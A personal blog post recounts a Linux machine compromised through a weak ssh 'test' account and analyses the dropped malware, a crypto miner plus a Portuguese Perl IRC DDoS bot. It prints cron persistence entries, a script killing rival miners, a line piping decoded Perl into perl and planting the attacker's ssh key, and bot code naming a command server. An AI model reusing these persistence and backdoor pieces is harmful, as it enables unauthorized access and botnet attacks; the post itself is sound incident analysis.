Hacked

I got hacked.

There are all kinds of fun exploits people use to get into systems they’re not supposed to be in. In my case they used ssh. Normally ssh is secure. None of my passwords are brute-forceable. (Yes, you shouldn’t have public-facing password ssh… but that’s no fun when you’re on someone else’s computer and need to get in in a hurry.) But in a moment of weakness I had needed a blank slate to test an environment regression against. So I did useradd test with the password test, and set up a home directory and shell. It was only supposed to last ten minutes. I suppose I must have been called away.

Earlier I came to the computer to find this:

/img/hacked.png

Well that’s not good. What on earth is kswapd0 complaining about? There’s plenty of ram. Must be a pessimal case from a memory leak in the browser; although curiously toggling swap (swapoff -a and then swapon -a) didn’t seem to kill it. But I was in a hurry and doing something else, so I rebooted the computer and walked away.

When I came back, kswapd0 was still causing problems. And surely it shouldn’t run under the user test? I assumed test was a (poorly named) system user, but no, su test prompts for a password and sudo su test; cd ~ gets me a home directory with things I clearly put there, and fish as a shell (which no system account would have). Oh, and it’s ./kswapd0: surely no kernel service would use relative paths (or even paths at all?).

At this point it slowly dawned on me what had happened. I unplugged the ethernet cable and went looking: what was happening?

Analysis

There were two processes running for test: ./kswapd0 and rsync. /proc/N/cmdline gave the expected names, but readlink -f /proc/$RSYNCPID/exe was /usr/bin/perl. Oh no. What on earth were they running? Fortunately readlink -f /proc/$KSWAPD0PID/exe took me straight to the directory with the code in, and it could be copied before killing the processes (which didn’t endeavour to clean up).

I didn’t delete test just yet. After all, the damage is done, and the ethernet is pulled. Rather I went looking inside .configrc (sic!) which contained two directories (imaginatively named a and b) and two files: crond.d and dir2.dir. dir2.dir just contained the path to its directory, but cron.d contained the following:

1 1 */2 * * /home/test/.configrc/a/upd>/dev/null 2>&1
@reboot /home/test/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/test/.configrc/b/sync>/dev/null 2>&1
@reboot /home/test/.configrc/b/sync>/dev/null 2>&1  
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

Ah. The two @reboot lines are what start the code on boot; I didn’t even know there was such a thing as @reboot. The first line just runs the same code as the reboot at 1 minute past 1 am every other day, presumably in case it dies or is killed. The third line is the same as the fourth line, but runs weekly. The fifth line is more interesting: it calls a file which is clearly created by the others every third day at midnight. This file pretends to be aptitude (I run arch, so that would have raised eyebrows). It’s probably the phone-home code. Fortunately it hasn’t run, because kswapd0 used so much cpu I spotted it instantly.

Reverse Engineering

a/upd contains the following:

#!/bin/sh
cd /home/test/.configrc/a
if test -r /home/test/.configrc/a/bash.pid; then
pid=$(cat /home/test/.configrc/a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
./run &>/dev/null

Other than the complete lack of indentation, this is easy: it tries to read the current pid from a file and kill the process, and then start it. So now to a/run:

#!/bin/bash
./stop
#./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
	if [ "$ARCH" == "i686" ]; then
		nohup ./anacron >>/dev/null & 
	elif [ "$ARCH" == "x86_64" ];   then
		./kswapd0
	fi
echo $! > bash.pid

Look at that! Even malicious code ships with commented out lines!

Here again everything is simple. We try to stop previous instances, sleep for a bit to let everything calm down, and then start one of two scripts. ./anacron (which obviously isn’t anacron) wasn’t shipped, but we do have ./kswapd0. Firstly, though, let’s look at ./stop:

#!/bin/sh
pkill -9 cron
killall -9 cron
kill -9 `ps x|grep cron|grep -v grep|awk '{print $1}'`>.proc

pkill -9 kswapd0
killall -9 kswapd0
kill -9 `ps x|grep kswapd0|grep -v grep|awk '{print $1}'`>.proc


pkill -9 ld-linux
killall -9 ld-linux
kill -9 `ps x|grep ld-linux|grep -v grep|awk '{print $1}'`>.proc

pkill -9 Donald
killall -9 Donald
kill -9 `ps x|grep Donald|grep -v grep|awk '{print $1}'`>.proc

pkill -9 xmr
killall -9 xmr
kill -9 `ps x|grep xmr|grep -v grep|awk '{print $1}'`>.proc

pkill -9 xm64
killall -9 xm64
kill -9 `ps x|grep xm64|grep -v grep|awk '{print $1}'`>.proc
rm -rf .proc

Oops. They don’t know if we have pkill or killall. So here are three redundant copy-pasted ways to kill lets of things. The third line should always work, since it only depends on ps, which is POSIX, so the other two are pointless. It’s rather crude, and written by someone who doesn’t like spaces: ps x prints the processes, then one grep filters them, another grep (!) filters out the first grep instance (which will also match, because | is a stream so ps is still running when grep starts its work) and then awk gets the pid. This is saved to a file we promptly remove, which is odd enough, but haven’t they just leaked the names of a bunch of dodgy executables? Including one called Donald, which is weird enough. I wonder which Donald that could be? Probably Donald Duck.

Also, DRY, Russian hackers.

file kswapd0 tells us it’s a binary, so we’ll come back to that one.

‘Obfuscated’ Portugese Perl

Meanwhile, what about b?

b/sync, the entrypoint, contains the following pointless code:

#!/bin/sh
cd /home/test/.configrc/b
./run

Ah well. I guess this is a kind of security by constant redirect. run contains this:

echo $VeryLongBase64EncodedString | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

Let’s hope that’s not their only public key :p Charming username, too. Also not FQDN, how rude. The very long base64 encoded string decodes to the following perl:

eval unpack $VeryLongPerlString

Hmm. No, I don’t think I will. What about print for eval?

And neatly formatted (for once!) indented perl drops out onto the terminal. Oh. So after all that effort, in the language which is famous for stupid obfuscations, they didn’t bother? Nice, I guess.

Here is some of it:

my $processo = 'rsync';

$servidor='45.9.148.99' unless $servidor;
my $porta='443';
my @canais=("#007");
my @adms=("polly","molly");
my @auth=("localhost");

my $linas_max=6;
my $sleep=3;

my $nick = getnick();
my $ircname = getnick();
my $realname = (`uname -a`);

my $acessoshell = 1;
my $prefixo = "! ";
my $estatisticas = 0;
my $pacotes = 1;

my $VERSAO = '0.2a';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

This is not much better than the obfuscated string before. Really, obfuscating perl is a bit of a joke—it’s hard enough to read on a good day. But these programmers have gone a step further. They have used portugese. Definitely not Russian hackers, then. No russian would write die "Problema com o fork: $!" unless defined($pid);. (No sensible programmer would write “die! (unless everything worked)”. What kind of pessimism is that?!)

What follows is an IRC bot, in a horrible language (perl, not portugese) which someone has tried hard to make readable with indentation and all the other things we do to make up for a language which thinks @_ and $_ is decent syntax. The chatbot sits there waiting for messages in the IRC chat:

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       if ($args =~ /^\001VERSION\001$/) {
       elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
       elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
         elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
            if ($arg =~ /^\!(.*)/) {
            } elsif ($arg =~ /^\@(.*)/) {
            } else {
         }
       }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       foreach my $canal (@canais) {
   }
}

I’ve taken out all the code here, but it’s not hard to make sense of: there’s code to respond to pings, to execute arbitrary shell commands and return, to join irc channels, to print the version—notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001"); (Does this name mean anything?)—and to do a bunch of other irc admin tasks. There’s also code to send debug statistics, although it’s off by default. But really. Even perl supports better control flow than this horrible bunch of nested mess.

Then we find the following fun function (‘subroutine’):

sub attacker {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'B' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

Yep, it’s a DDOS bot, with arbitrary command execution for fun. And that’s it, other than loads and loads of code to manage IRC channels, kicking and finding users etc. If I had to guess, someone took a portugese IRC bot written in perl (for some unknown reason) and modified it crudely to be an attack payload. But who knows, maybe they also use your computer to manage IRC channels?

The binary

I have yet to dissassemble the binary. As a guess I reckon it’s a bitcoin miner: it used a lot of cpu, but nothing so far really fits an attempted ransomware attack, and linux is a poor platform for such attacks: permissions mean you can basically only encrypt your own home directory. Of course there are elevation exploits, but there’s no indication they tried any here. Likewise exfiltration is possible, although there’s nothing they could read I really care about, but again there’s no evidence it happened.

If/when I get round to reverse engineering the binary, I’ll update here.

Prognosis

The system is safe. test was a stupid user account, let’s get rid of it:

sudo userdel test

No more exploit. They could have done something worse, and I should probably nuke from orbit. But I found the usual password-spraying attacks. In the long run I should go back to disabling password auth entirely, but in the short-term installing fail2ban provides agreeable catharsis:

sudo fail2ban-client banned
[{'sshd': ['178.128.184.213', '45.154.12.139', '115.254.63.50', '113.21.232.39', '23.95.215.44', '43.154.26.210', '49.0.129.3', '45.64.112.96', '152.32.150.45', '210.195.100.138', '183.94.133.168', '157.230.218.88', '175.139.245.205']}]

I was lucky; this was a low-intensity attack; there’s nothing else odd in the logs.

Takeaways

Dev machines are going to have silly things like adduser test run on them. Don’t combine dev machines with public gateway servers. Protect them with ssh keys and default-deny security.

Oh, and do use permissions, and encrypt stuff which actually matters, and have proper backups—ideally initiated from the backup server, not the device, which shouldn’t have write access to the server.

And watch out for portugese IRC bots. You don’t know where they’ve been.

Postscriptum

Ah, it’s this thing. I guess I don’t have to reverse engineer anything—it really is just a miner.